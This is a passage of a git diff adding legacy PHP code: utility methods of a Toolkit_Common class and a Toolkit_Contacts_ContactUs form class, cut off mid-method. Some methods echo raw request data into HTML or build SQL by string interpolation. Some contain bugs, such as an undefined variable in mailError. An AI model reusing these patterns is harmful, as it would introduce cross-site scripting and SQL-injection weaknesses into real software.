+       /**
+        * Handles PEAR Errors for our developers
+        *
+        * When a site is no longer in DEVELOPMENT, ie: its live on ws3.
+        * We don't show any error info, but let the user know an unexpected
+        * error has occured and then mail the error info the the admin.
+        *
+        * @param PEAR_Error $e    PEARError Object
+     * @param Mail       $mail Mail object used to send admin email
+        *
+        * @return false
+        * @access public 
+        * @since Method available since Release 1.0.1
+        */
+       public function errorPEARError(PEAR_Error $e, Mail $mail = null)
+       {
+               if (!is_null($mail)) {
+            $subject = 'PEAR Error for ' . SITENAME;
+            self::mailError($mail, $subject);
+               } else {
+                       echo self::getErrorInfo($e);
+               }
+
+               return false;
+       }
+
+       //      }}}
+
+    //  {{{ getErrorInfo()
+
+    /**
+     * extract error info from error object
+     * 
+     * @param mixed $obj Error object to get info for
+     *
+     * @return string formatted error information
+     * @access public
+     */
+    public function getErrorInfo($obj)
+    {
+        $state = '<b>' . get_class($obj) . ' error: </b>';
+
+        if (method_exists($obj, 'getMessage')) {
+            $state .= $obj->getMessage();
+            if (method_exists($obj, 'getDebugInfo')) {
+                $state .= '; ' . $obj->getDebugInfo();
+            }
+        }
+        if (method_exists($obj, 'getFile')) {
+            $state .= ' in <b>' . $obj->getFile() . '</b>';
+        }
+        if (method_exists($obj, 'getLine')) {
+            $state .= ' on line <b>' . $obj->getLine() . '</b>';
+        }
+        $state .= '<br>$_SERVER[\'QUERY_STRING\']: ' . $_SERVER['QUERY_STRING'] . "\n";
+        $state .= '<br>$_GET: <pre>' . print_r($_GET, true) . '</pre>';
+        $state .= '<br>$_POST: <pre>' . print_r($_POST, true) . '</pre>';
+        /*
+        if (method_exists($obj, 'getBacktrace')) {
+            $backtrace = print_r($obj->getBacktrace(), true);
+
+            $state .= "<br><pre>$backtrace</pre>";
+        }
+        */
+
+        return $state;
+    }
+
+    //  }}}
+
+    //  {{{ filterURI()
+
+    /**
+     * Filters uri's before they are validated
+     *
+     * @param string $uri URI to filter
+     *
+     * @return mixed new uri if missing scheme
+     * @access public
+     * @static
+     */
+    public static function filterURI($uri)
+    {
+       $validProtocol = '/^https?\:\/\/.*/';
+       $invalidProtocol = '/^.*?\:\/\/.*/';
+       if (empty($uri)) {
+               //      Empty field, just return
+               return $uri;
+       } elseif (preg_match($validProtocol, $uri)) {
+               //      has valid protocol, return unchanged
+               //      should pass validation.
+               return $uri;
+       } elseif (!preg_match($invalidProtocol, $uri)) {
+               //      missing protocol, prepend default
+               //      http:// protocol and return.
+               return "http://$uri";
+       } else {
+               //      has invalid protocol, return unchanged
+               //      validation should catch this and throw error.
+               return $uri;
+       }
+    }
+
+    //  }}}
+    //  {{{ filterPhone()
+
+    /**
+     * Filters phone numbers before they are validated
+     *
+     * @param string $phone number to filter
+     *
+     * @return mixed newly formatted phone number
+     * @access public
+     * @static
+     */
+    public static function filterPhone($phone)
+    {
+        //  Ditch anything that is not a number
+        $number = preg_replace('/[^0-9]/', '', $phone);
+
+        //  Invalid Number, validation will catch error
+        $len = strlen($number);
+        if (($len < 10) || ($len > 11)) {
+            return $phone;
+        }
+
+        //  subscriber number
+        $sn = substr($number, -4);
+        //  city code
+        $cc = substr($number, -7, 3);
+        //  area code
+        $ac = substr($number, -10, 3);
+        if ($len == 11) {
+            //  country prefix
+            $cp = $number[0];
+        }
+
+        $filteredNumber = "($ac) $cc-$sn";
+        if (!is_null($cp)) {
+            $filteredNumber = "$cp $filteredNumber";
+        }
+
+        return $filteredNumber;
+    }
+
+    //  }}}
+    
+       //      {{{     getHierarchicalTreeStructure()
+
+    /**
+     * Create a hierarchical tree stored in an linear array
+     * 
+        * Produces a representation of a hierarchical tree structure into a 
+        * linear array so you can iterate straight through to get the tree
+        * structure.
+     * 
+     * @param PDO     $pdo         Database handler
+     * @param string  $table       Name of the source relation
+     * @param string  $key         Name of the key field
+     * @param string  $parent      Name of the parent-key field
+     * @param string  $order       Name of the field to order siblings by
+     * @param integer $start       Key value of the row to start at
+     * @param integer $maxDepth    Maximum depth to descend to, or zero 
+        *                                                     for unlimited depth
+        * @param boolean $validParent exclude branches that have null
+     *                             parent values
+        *
+     * @return array   Linear array of tree structure
+     * @access public 
+        * @see http://www.postgresql.org/doc/8.3/interactive/tablefunc.html#AEN104085
+     */
+       public function getHierarchicalTreeStructure(
+               PDO $pdo,
+        $table = 'bus_category',
+        $key = 'id',
+        $parent = 'parent',
+        $order = 'pos',
+        $start = 0,
+        $maxDepth = 0,
+        $validParent = true
+    ) {
+               try {
+                       $tree = array();
+
+                       $sql = "
+                SELECT *
+                  FROM connectby('$table', '$key', '$parent',
+                                                                '$order', '$start', $maxDepth)
+                                               as t(id text, parent text, level int, pos int)";
+
+                       if ($validParent) {
+                 $sql .= " WHERE parent is not null";
+                       }
+                       foreach ($pdo->query($sql) as $row) {
+                               $tree[$row['id']] = $row['level'];
+                       }
+
+                       return $tree;
+               } catch (PDOException $e) {
+                       return self::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{ getTableMetaData()
+
+       /**
+        * Gets the meta data of the calling classes table columns
+        *
+        * The table used when retrieving the meta data is defined
+        * in the class property $tableName. The class or parent class
+        * must also have a $tableMetaData property
+        *
+        * @param PDO    $pdo       Database Handler
+        * @param string $tableName The name of the table to get the meta data for.
+        * @param array  $clauses       Only retrieve meta data for certain column types
+        *
+        * @return array metadata for table
+        * @access protected
+        */
+       public function getTableMetaData(
+        PDO $pdo,
+        $tableName,
+        array $clauses = null
+    ) {
+               if (is_array($clauses)) {
+                       while ($c = current($clauses)) {
+                               $ands .= " data_type = '{$c}'";
+                               if (false !== next($clauses)) {
+                                       $ands .= " OR ";
+                               }
+                       }
+                       $ands = " AND ($ands)";
+               }
+               try {
+                       $sql  = "
+                               SELECT column_name, data_type
+                                 FROM information_schema.columns
+                                WHERE table_name = :tname
+                                $ands";
+                       $stmt = $pdo->prepare($sql);
+                       $stmt->bindParam(':tname', $tableName, PDO::PARAM_STR);
+       
+                       $stmt->execute();
+
+            $metaData = array();
+                       while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                $metaData[$row['column_name']] = $row['data_type'];
+                       }
+
+            return $metaData;
+               } catch (PDOException $e) {
+                       return self::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{ getStates()
+
+
+    /**
+     * Get an array of states from the database
+     * 
+     * @param PDO     $dbh             Database handler
+     * @param boolean $unionStatesOnly If we want to only retrieve
+     *                                 the 50 US states
+     *                                  
+     * @return array states
+     * @access public 
+     * @static
+     */
+       public static function getStates(PDO $dbh, $unionStatesOnly = false)
+       {
+               if ($unionStatesOnly) {
+                       //      Just grab the 50 states of the union
+                       $where = "WHERE us_state = :bool";
+               }
+
+               try {
+                       $sql = "
+                               SELECT *
+                                 FROM state
+                           $where
+                                ORDER BY state_name";
+
+                       $stmt = $dbh->prepare($sql);
+                       if ($unionStatesOnly) {
+                               $stmt->bindValue(':bool', 1, PDO::PARAM_BOOL);
+                       }
+                       $stmt->execute();
+                       while ($row = $stmt->fetch()) {
+                               $states[$row['state_id']] = $row['state_name'];
+                       }
+
+                       return $states;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{ handleError()
+
+       /**
+        * Handles various script error
+        *
+        * @param Object  $e                 Error Object
+        * @param boolean $developmentServer If we are on a development server
+        *
+        * @return false
+        * @access public
+     * @static
+        */
+       public static function handleError($e, $developmentServer = DEVELOPMENT)
+       {
+               $errorType = str_replace('_', '', get_class($e));
+        $errorType = "error$errorType";
+
+               if (method_exists(__CLASS__, $errorType)) {
+            if (!$developmentServer) {
+                //     Tell the user we encountered an Error.
+                               include_once BASE . "404.html";
+
+                $mail = Mail::factory('mail');
+                               self::$errorType($e, $mail);
+                               exit();
+            } else {
+                               return self::$errorType($e, $mail);
+                       }
+               } else {
+                       echo '<p>The system has encountered an un-recoverable error!</p>';
+               }
+       }
+
+       //      }}}
+
+    //  {{{ mailError()
+
+    /**
+     * Mails the error to the site admin
+     * 
+     * @param Mail   $mail    Mail object to use
+     * @param string $subject Subject of email
+     *
+     * @return void   
+     * @access public 
+     * @static
+     */
+    public static function mailError(Mail $mail, $subject)
+    {
+        $msg = '<p>' . self::getErrorInfo($e) . '</p>';
+
+        $htmlMsg  = "<html><head></head><body>$msg</body></html>";
+        $crlf     = "\n";
+        $mimeMail = new Mail_mime($crlf);
+        $mimeMail->setFrom(self::$from);
+        $mimeMail->setSubject($subject);
+        $mimeMail->setHTMLBody($htmlMsg);
+        $mimeMail->setTXTBody($msg);
+
+        $body    = $mimeMail->get();
+        $headers = $mimeMail->headers();
+        
+        $mail->send(self::$admin, $headers, $body);
+    }
+
+    //  }}}
+       //      {{{ multiDimArrayLocate()
+       
+       /**
+        * Locates an array value in a multi-dimensional array
+        *
+        * @param array $array The Array which holds the value you need.
+        * @param mixed $text  The value that you are looking for.
+        *
+        * @return mixed The search result.
+        */
+    public function multiDimArrayLocate($array, $text)
+    {
+               if (!is_array($array)) {
+                       return;
+               }
+
+        foreach ($array as $k => $v) {
+            if (is_array($v)) {
+                $temp[$k] = self::multiDimArrayLocate($v, $text);
+                if ($temp[$k]) {
+                    $arrayResult[$k] = $temp[$k];
+                }
+            } else {
+                if ($v == $text) {
+                    $arrayResult[$k] = $v;
+                }
+            }
+        }
+        return $arrayResult;
+    }
+
+       //      }}}
+
+       //      {{{     processQuery()
+
+    /**
+     * Performs the sql insert statement
+     * 
+     * If using a Postgresql driver for the PDO, metadata is used when
+        * binding parameters to the prepared statement.
+     * 
+     * @param object $dbh       Database handler object
+        * @param string $tableName table used in query
+     * @param string $sql       sql query string
+     * @param array  $values    associative array of key/value pairs that will
+        *                                                  be used to bind to the sql query string
+        *
+     * @return boolean result of the execute statement on the database
+     * @access public 
+     * @static
+     */
+       public static function processQuery(
+               PDO $dbh,
+               $tableName,
+               $sql,
+               array $values = null
+       ) {
+               $dbType = $dbh->getAttribute(PDO::ATTR_DRIVER_NAME);
+               if ($dbType == 'pgsql') {
+                       $md = Toolkit_Common::getTableMetaData($dbh, $tableName);
+               }
+               $stmt = $dbh->prepare($sql);
+               foreach ($values as $k => &$v) {
+                       if ($dbType == 'pgsql') {
+                               $metaData = $md[$k];
+                               if ($metaData == 'integer') {
+                                       $dataType = PDO::PARAM_INT;
+                               } elseif ($metaData == 'boolean') {
+                                       $dataType = PDO::PARAM_BOOL;
+                               } else {
+                                       $dataType = PDO::PARAM_STR;
+                               }
+                               //      for empty values that are not actually a zero (0), we
+                               //      want to insert null's.
+                               //      as empty values '', are not considered unique
+                               if (   empty($v)
+                    && $dataType !== PDO::PARAM_BOOL
+                    && $dataType !== PDO::PARAM_INT
+                ) {
+                                       $v        = null;
+                                       $dataType = PDO::PARAM_NULL;
+                               }
+                               $stmt->bindParam(":$k", $v, $dataType);
+                       } else {
+                               $stmt->bindParam(":$k", $v);
+                       }
+               }
+
+               return $stmt->execute();
+       }
+
+       //      }}}
+
+    //  {{{ recursiveArraySearch()
+
+    /**
+     * Recursive multi-dimensional array search
+     *
+     * @param string $n Needle
+     * @param array  $h Haystack
+     *                          
+     * @return mixed search result - false if not found
+     * @access public
+     * @static
+     */
+    public static function recursiveArraySearch($n, array $h)
+    {
+        foreach ($h as $i => $j) {
+            $curr = $i;
+            if ($n === $j
+                || (is_array($j) && self::recursiveArraySearch($n, $j) !== false)
+            ) {
+                    return $curr;
+            }
+        }
+
+        return false;
+    }
+
+    //  }}}
+
+       //      {{{ show()
+
+       /**
+        * Renders the calling class to the screen
+        *
+        * @access public
+        * @return string calls the toHTML function of calling class
+        */
+       public function show()
+       {
+               echo $this->toHTML();
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Contacts/ContactUs.php b/Toolkit/Contacts/ContactUs.php
new file mode 100755 (executable)
index 0000000..4270746
--- /dev/null
@@ -0,0 +1,1141 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * File Doc Comment
+ *
+ * PHP version 5
+ *
+ * @category Contacts
+ * @package  Toolkit_Contacts
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @version  CVS: $Id: ContactUs.php,v 1.3 2009/12/28 19:40:04 cscott Exp $
+ * @link        http://demo.gaslightmedia.com
+ */
+
+/**
+ * Error codes for Toolkit_Contacts_ContactUs
+ *
+ * Codes are mapped to textual messaged by errorMessage() method,
+ * if you add a new code be sure to add a new message for it to errorMessage()
+ *
+ * @see Toolkit_Contacts_ContactUs::errorMessage()
+ */
+define('FORM_OK', 1);
+define('FORM_ERROR', -1);
+define('NO_RECORD', -2);
+define('INVALID_DB', -3);
+define('MISSING_CONSTANT', -4);
+define('MISSING_CONTACT_TYPE', -5);
+
+/**
+ * GLM Contact Us form
+ * 
+ * This form handles rendering and processing the contact us form.
+ * Controls the email functionality of the form, whether the client
+ * has a contact DB to store contact records and how to insert/update
+ * submitted form values.
+ * 
+ * @category  Contacts
+ * @package   Toolkit_Contacts
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ * @see       Toolkit_FormBuilder
+ */
+class Toolkit_Contacts_ContactUs
+    extends Toolkit_FormBuilder implements Toolkit_Form
+{
+       //      {{{     properties
+
+    /**
+     * Table in Database which holds the contact data
+        *
+     * @var    string
+     * @access public
+     */
+       public $tableName = 'contact';
+
+    /**
+     * Table meta data
+        *
+        * This is used when inserting/updating data for the records
+        * so the PDO's can use explicit data types for the parameters.
+        *
+     * @var    array 
+     * @access public
+     */
+       public $tableMetaData = array();
+
+       /**
+        * Contact type to be inserted into the DB as when the form is submitted
+        *
+        * This property is only valid when the [hasContactDB] property is set
+        * to true.
+        *
+        * N.B.
+        * If you subclass this class out to other forms that are
+        * inserted into the contact db, be sure to make each one of their
+        * contactType properties unique.  We don't check for duplicates.
+        *
+        * @var string
+        * @access protected
+        */
+       protected $contactType = '1';
+
+    /**
+        * Who to send the email to when the contact form is submitted
+        *
+        * If you leave this blank, its value will get set to the OWNER_EMAIL
+        * in the constructor.
+        *
+        * If you ***DO NOT*** want any emails to go out when the form is submitted
+        * then set the value to false. Do not set it to 0 for false, because the
+        * check uses a strict type check to determine if the value is actually
+        * false. This is what allows for the empty value as an option, which sets
+        * the value to OWNER_EMAIL and won't override the $email property if
+        * this class gets subclassed and the value for this property gets set in
+        * the properties of the subclass and not in the constructor after this
+        * constructor function is called.
+        *
+        * tongue twister...I know.
+        * <code>
+        * protected $email = false;
+        * </code>
+        *
+     * @var    string
+     * @access protected
+     */
+       protected $email;
+
+    /**
+     * From header in the owner email
+        *
+        * This just sets the From header in the owner email
+        * SITENAME <from@email.com>
+        *
+        * It gets set to the constant SITENAME in the constructor if you leave
+        * empty here, but you can set it to something different here to override
+        * that if you desire.
+        *
+     * @var    string
+     * @access protected
+     */
+       protected $siteName;
+
+    /**
+        * Email subject and <h1> header in email
+        * 
+        * It gets set in the constructor if you leave empty here, but you
+        * can set it to something different here to override that if you desire.
+        *
+     * @var    string   
+     * @access protected
+     */
+       public $subject;
+
+    /**
+     * Whether the site has a contact DB to store contact records
+        *
+        * If this value is set to false, an email will still be sent to the 
+        * addressed specified in the email property.
+        *
+     * @var    boolean  
+     * @access protected
+     */
+       protected $hasContactDB = false;
+
+    /**
+     * The interests from the contact db
+        *
+     * @var    array    
+     * @access protected
+     */
+       protected $inquiries = array();
+
+    /**
+     * Message to display if the form is successfully submitted
+        *
+     * @var    string   
+     * @access protected
+     */
+       protected $successMsg = '
+               <div id="form-success-top">
+                       Thank you for your questions or comments!
+               </div>';
+
+    /**
+     * Extra rules for processesing
+        * 
+        * This registers the Zip validation rules (and any others listed) for
+        * QuickForm.
+        *
+        * Zip validation checks both US and Canadian Zip codes
+        *
+     * @var    array    
+     * @access protected
+        * @see    app.gaslightmedia.com/glmPEAR/HTML/QuickForm/Rules/Zip.php
+     */
+       protected $registeredRules = array(
+        'zip',
+        'phone',
+        array(
+            'checkEmail',
+            'callback',
+            'email',
+            'Validate'
+        ),
+    );
+
+    /**
+     * Options for flexy templating engine
+        *
+        * Pulls the preset options from the setup.phtml file
+        * overwrites the templateDir and compileDir to match this classes needs
+        *
+     * @var    array    
+     * @access protected
+     */
+       protected $flexyOptions;
+
+       //      }}}
+       //      {{{     __construct()
+
+       /**
+        * Class constructor
+        *
+     * @param object $pdo         PHP Data Object
+     * @param string $formName    Form's name.
+     * @param string $method      (optional)Form's method defaults to 'POST'
+     * @param string $action      (optional)Form's action
+     * @param string $target      (optional)Form's target defaults to '_self'
+     * @param mixed  $attributes  (optional)Extra attributes for <form> tag
+     * @param bool   $trackSubmit (optional)Whether to track if the form was
+        *                                                        submitted by adding a special hidden field
+        * 
+        * @author Jamie Kahgee <jamie.kahgee@gmail.com>
+        * @access public
+        * @link   http://pear.php.net/package/HTML_QuickForm/docs/latest/HTML_QuickForm/HTML_QuickForm.html
+        * @see    HTML_QuickForm
+        */
+       public function __construct(
+        PDO $pdo,
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               //      Make sure these end cases are never met.
+               //      These are more for the development phase.
+               if ($this->email === false && $this->hasContactDB === false) {
+                       PEAR::raiseError(
+                null,
+                NO_RECORD,
+                PEAR_ERROR_CALLBACK,
+                array(&$this, 'error')
+            );
+               }
+               if (!is_bool($this->hasContactDB)) {
+                       PEAR::raiseError(
+                null,
+                INVALID_DB,
+                PEAR_ERROR_CALLBACK,
+                array(&$this, 'error')
+            );
+               }
+               //      we haven't defined the FROM_NEWS_EMAIL constant and
+               //      the email will default to relying on it.
+               if (   !defined('FROM_NEWS_EMAIL')
+            && (empty($this->email) && $this->email !== false)
+        ) {
+                       PEAR::raiseError(
+                'You need to define the FROM_NEWS_EMAIL 
+                                constant for this form to work correctly',
+                MISSING_CONSTANT,
+                PEAR_ERROR_CALLBACK,
+                array(&$this, 'error')
+            );
+               }
+               if (!is_numeric($this->contactType) && $this->hasContactDB) {
+                       PEAR::raiseError(
+                null,
+                MISSING_CONTACT_TYPE,
+                PEAR_ERROR_CALLBACK,
+                array(&$this, 'error')
+            );
+               }
+               parent::__construct(
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+
+        $this->dbh = $pdo;
+
+               //      Default Renderer Form templates for QuickForm in respect to this
+               //      classes needs.
+               $this->template = dirname(__FILE__) . '/templates/currentTables/';
+               if ($this->email !== false && empty($this->email)) {
+                       //      Set to false to turn off email function.
+                       $this->email = OWNER_EMAIL;
+               }
+               if (empty($this->siteName)) {
+                       $this->siteName = SITENAME;
+               }
+               if (empty($this->subject)) {
+                       $this->subject = 'Contact Request from website ' . SITENAME;
+               }
+
+               /**
+                * Where are the flexy templates stored at for this class.
+                */
+               define('TEMPLATES_DIR', BASE . 'Toolkit/Contacts/templates');
+
+               /**
+                * Where are the compiled flexy templates stored at for this class.
+                */
+               define('COMPILED_DIR', BASE . 'Toolkit/Contacts/templates/compiled');
+               $oldUmask = umask(0);
+               if (!is_dir(TEMPLATES_DIR)) {
+                       mkdir(TEMPLATES_DIR, 0770, true);
+               }
+               if (!is_dir(COMPILED_DIR)) {
+                       mkdir(COMPILED_DIR, 0770, true);
+               }
+               umask($oldUmask);
+
+               $this->flexyOptions                = $GLOBALS['flexyOptions'];
+               $this->flexyOptions['templateDir'] = TEMPLATES_DIR;
+               $this->flexyOptions['compileDir']  = COMPILED_DIR;
+
+               $var = basename(__FILE__, '.php');
+
+               $callbackUrl = ($_SERVER['HTTPS'] == 'on') ?
+                                                         BASE_SECURE_URL : BASE_URL;
+
+               $this->captchaOptions = array(
+                       'width' => 100,
+                       'height' => 50,
+                       'callback' => "{$callbackUrl}Toolkit/qfcaptcha.php?var=$var",
+                       'sessionVar' => $var,
+                       'imageOptions' => array(
+                               'font_size' => 20,
+                               'font_path' => GLM_APP_BASE . 'glmPEAR/Image/Canvas/Fonts/',
+                               'font_file' => 'times.ttf',
+                               'background_color' => '#cccccc',
+                               'obfuscation' => false,
+                               'angle' => true,
+                       ),
+               );
+       }
+
+       //      }}}
+
+       //      {{{     configureConstats()
+
+    /**
+     * Constant variables for the form
+        *
+        * These values won't get overridden by POST or GET vars
+     * 
+     * @return void     
+     * @access public
+     */
+       public function configureConstants()
+       {
+               $constants = array(
+                       'user_agent' => $_SERVER['HTTP_USER_AGENT'],
+                       'remote_addr' => $_SERVER['REMOTE_ADDR'],
+               );
+               $this->setupConstants($constants);
+       }
+
+       //      }}}
+       //      {{{     configureDefaults()
+
+    /**
+     * Initializes default form values
+     * 
+     * @return void     
+     * @access public
+     */
+       public function configureDefaults()
+       {
+        $defaults = array(
+            'state' => '',
+            'mail_ok' => 1
+        );
+
+               $this->setupDefaults($defaults);
+       }
+
+       //      }}}
+       //      {{{     configureElements()
+
+    /**
+     * Form element definitions
+     * 
+     * @return void     
+     * @access public
+     */
+       public function configureElements()
+       {
+               $e = array();
+               $this->setInterestFields();
+               //      Grouped Elements are defined here.
+               $this->interestsGroups =& $this->getInterestFields();
+
+               //      All Elements are created here.  This includes group element definitions.
+               $e[] = array(
+                       'type' => 'hidden',
+                       'req'  => false,
+                       'name' => 'user_agent'
+               );
+               $e[] = array(
+                       'type' => 'hidden',
+                       'req'  => false,
+                       'name' => 'remote_addr'
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => true,
+                       'name'    => 'fname',
+                       'display' => 'First Name'
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => true,
+                       'name'    => 'lname',
+                       'display' => 'Last Name'
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'org',
+                       'display' => 'Organization'
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'address',
+                       'display' => 'Address 1'
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'address2',
+                       'display' => 'Address 2'
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'city',
+                       'display' => 'City'
+               );
+        $e[] = array(
+                       'type'    => 'select',
+                       'req'     => false,
+                       'name'    => 'state',
+                       'display' => 'State/Province',
+                       'opts'    => $GLOBALS['states']
+               );
+        $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'zip',
+                       'display' => 'ZIP/Postal Code'
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => true,
+                       'name'    => 'email',
+                       'display' => 'Email Address'
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => true,
+                       'name'    => 'email_rmv',
+                       'display' => 'Verify Email Address'
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'phone',
+                       'display' => 'Phone'
+               );
+        $e[] = array(
+                       'type'    => 'select',
+                       'req'     => false,
+                       'name'    => 'state',
+                       'display' => 'Business Type',
+                       'opts'    => $this->getBusinessTypes()
+               );
+        $radio[] = array('type' => 'radio',
+             'req' => false,
+             'name' => 'contact_method',
+             'opts' => 'Email',
+             'att' => 1
+        );
+        $radio[] = array('type' => 'radio',
+             'req' => false,
+             'name' => 'contact_method',
+             'opts' => 'Phone',
+             'att' => 2
+        );
+        $e[] = array(
+            'type'       => 'group',
+            'req'        => false,
+            'name'       => 'contact_method',
+            'group'         => $radio,
+            'label'      => 'How would you prefer to be contacted?',
+            'seperator'  => ' ',
+            'appendName' => false
+        );
+        /*
+        */
+        if (is_array($this->interestsGroups)) {
+            foreach ($this->interestsGroups as $group => $gData) {
+                $this->myGroups[] = $gData;
+                $e[] = array(
+                    'type'       => 'group',
+                    'req'        => false,
+                    'name'       => 'interest',
+                    'group'         => $gData,
+                    'label'      => $group,
+                    'seperator'  => ' ',
+                    'appendName' => true
+                );
+            }
+        }
+               $e[] = array(
+                       'type'    => 'textarea',
+                       'req'     => false,
+                       'name'    => 'comments',
+                       'display' => 'Comments'
+               );
+               $e[] = array(
+                       'type'    => 'CAPTCHA_Image',
+                       'req'     => false,
+                       'name'    => 'captcha_question',
+                       'display' => 'Verification code',
+                       'opts'    => $this->captchaOptions
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => true,
+                       'name'    => 'captcha_rmv',
+                       'display' => 'Enter verification code'
+               );
+               $e[] = array(
+                       'type'    => 'submit',
+                       'req'     => false,
+                       'name'    => 'submit_rmv',
+                       'display' => 'Submit Form'
+               );
+
+               $this->setupElements($e);
+       }
+
+       //      }}}
+       //      {{{     configureRules()
+
+    /**
+     * Form rule definitions
+     * 
+        * Adds validation rules for the given fields
+     * 
+     * @return void     
+     * @access public
+     */
+       public function configureRules()
+       {
+               $r = array();
+               //      Form Rules
+               $r[] = array(
+                       'element'    => array('email', 'email_rmv'),
+                       'message'    => 'ERROR: Your Email Addresses Do Not Match!',
+                       'type'       => 'compare',
+                       'format'     => null,
+                       'validation' => $this->validationType,
+                       'reset'      => true,
+                       'force'      => false
+        );
+               $r[] = array(
+                       'element'    => 'email',
+                       'message'    => 'ERROR: Invalid Email Format!',
+                       'type'       => 'checkEmail',
+                       'format'     => array('use_rfc822' => true),
+                       'validation' => $this->validationType,
+                       'reset'      => true,
+                       'force'      => false
+        );
+        /*
+               $r[] = array(
+                       'element'    => 'state',
+                       'message'    => 'ERROR: Invalid State!',
+                       'type'       => 'numeric',
+                       'format'     => null,
+                       'validation' => $this->validationType,
+                       'reset'      => true,
+                       'force'      => false
+        );
+        */
+               $r[] = array(
+                       'element'    => 'phone',
+                       'message'    => 'ERROR: Invalid number (xxx) xxx-xxxx!',
+                       'type'       => 'phone',
+                       'format'     => null,
+                       'validation' => $this->validationType,
+                       'reset'      => true,
+                       'force'      => false
+        );
+               $r[] = array(
+                       'element'    => 'fax',
+                       'message'    => 'ERROR: Invalid number (xxx) xxx-xxxx!',
+                       'type'       => 'phone',
+                       'format'     => null,
+                       'validation' => $this->validationType,
+                       'reset'      => true,
+                       'force'      => false
+        );
+               $r[] = array(
+                       'element'    => 'zip',
+                       'message'    => 'ERROR: Invalid Zip!',
+                       'type'       => 'zip',
+                       'format'     => array('requireDBCheck' => false),
+                       'validation' => $this->validationType,
+                       'reset'      => true,
+                       'force'      => false
+        );
+               $r[] = array(
+                       'element'    => 'mail_ok',
+                       'message'    => 'ERROR: Invalid Value!',
+                       'type'       => 'numeric',
+                       'format'     => null,
+                       'validation' => $this->validationType,
+                       'reset'      => true,
+                       'force'      => false
+        );
+               $r[] = array(
+                       'element'    => 'captcha_rmv',
+                       'message'    => 'ERROR: Incorrect verification code!',
+                       'type'       => 'CAPTCHA',
+                       'format'     => $this->captchaQuestion,
+                       'validation' => $this->validationType,
+                       'reset'      => true,
+                       'force'      => false
+        );
+
+               $this->setupRules($r);
+       }
+
+       //      }}}
+       //      {{{     configureFilters()
+
+    /**
+     * Form filter definitions
+     * 
+        * Applies a data filter for the given fields when the form is submitted
+     * 
+     * @return void     
+     * @access public
+     */
+       public function configureFilters()
+       {
+        $f = array();
+
+               $f[] = array(
+            'element' => '__ALL__',
+            'filter' => 'trim'
+        );
+
+        $this->setupFilters($f);
+       }
+
+       //      }}}
+    //  {{{ configureForm()
+
+    /**
+     * Helper function, configures the entire form
+     * 
+     * @return void     
+     * @access public
+     */
+    public function configureForm()
+    {
+        $this->configureElements();
+        $this->configureFilters();
+        $this->configureRules();
+        $this->configureDefaults();
+        $this->configureConstants();
+    }
+
+    //  }}}
+    //  {{{ contactExists()
+
+    /**
+     * Checks for a duplicate email address already in the DB.
+     *
+     * @param string $email The email address to check for in the DB
+     *
+     * @return boolean If the email address already exists
+     * @access protected
+     */
+    protected function contactExists($email)
+    {
+               //      Check if a contact w/ the submitted email already exists.
+               //      if so, then we need to update, if not then do a fresh insert.
+               try {
+                       $sql = "
+                               SELECT count(*) AS count
+                                 FROM {$this->tableName}
+                                WHERE email   = :email";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':email', $email, PDO::PARAM_STR);
+                       $stmt->execute();
+                       $stmt->bindColumn('count', $contactExists);
+                       $stmt->fetch();
+
+            return (bool) $contactExists;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+    }
+
+    //  }}}
+
+       //      {{{     emailOwner()
+
+    /**
+     * Emails the owner the submitted data from the submitted form
+     * 
+        * Uses a flexy template to render a nice looking html email.
+        * Fills in the supplied data from the form and doesn't add the
+        * empty fields the user didn't fill in.
+        *
+     * @param string $mailFactory What type of mail factory should we use
+     *
+     * @return boolean result of the mailing
+     * @access protected
+     */
+       protected function emailOwner($mailFactory = 'mail')
+       {
+               if (!$this->email) {
+                       return;
+               }
+
+               $hasInterestField = $_POST['interest'];//$this->elementExists('interest');
+
+               $template = new HTML_Template_Flexy($this->flexyOptions);
+               $page     = new stdClass();
+        // for comments textarea need to replace newlines with br
+        $this->formData['comments']['element'] = nl2br($this->getSubmitValue('comments'));
+
+               $page->email_from  = OWNER_EMAIL;
+               $page->subject     = $this->subject;
+               $page->client_info = $this->clientInfo;
+               $page->fname       = $this->getSubmitValue('fname');
+               $page->lname       = $this->getSubmitValue('lname');
+               $page->formData    = $this->formData;
+               
+               if ($hasInterestField) {
+                       //      Clean up the interests so they will look nice in the email
+                       $page->formData['interest']['nowrap']  = 'nowrap';
+                       $page->formData['interest']['element'] = null;
+
+                       $g  =& $this->getElement('interest');
+            $ge =& $g->getElements();
+
+                       $interests = array();
+                       foreach ($ge as $e) {
+                               if ($e->getChecked()) {
+                                       $interests[] = $e->getText();
+                               }
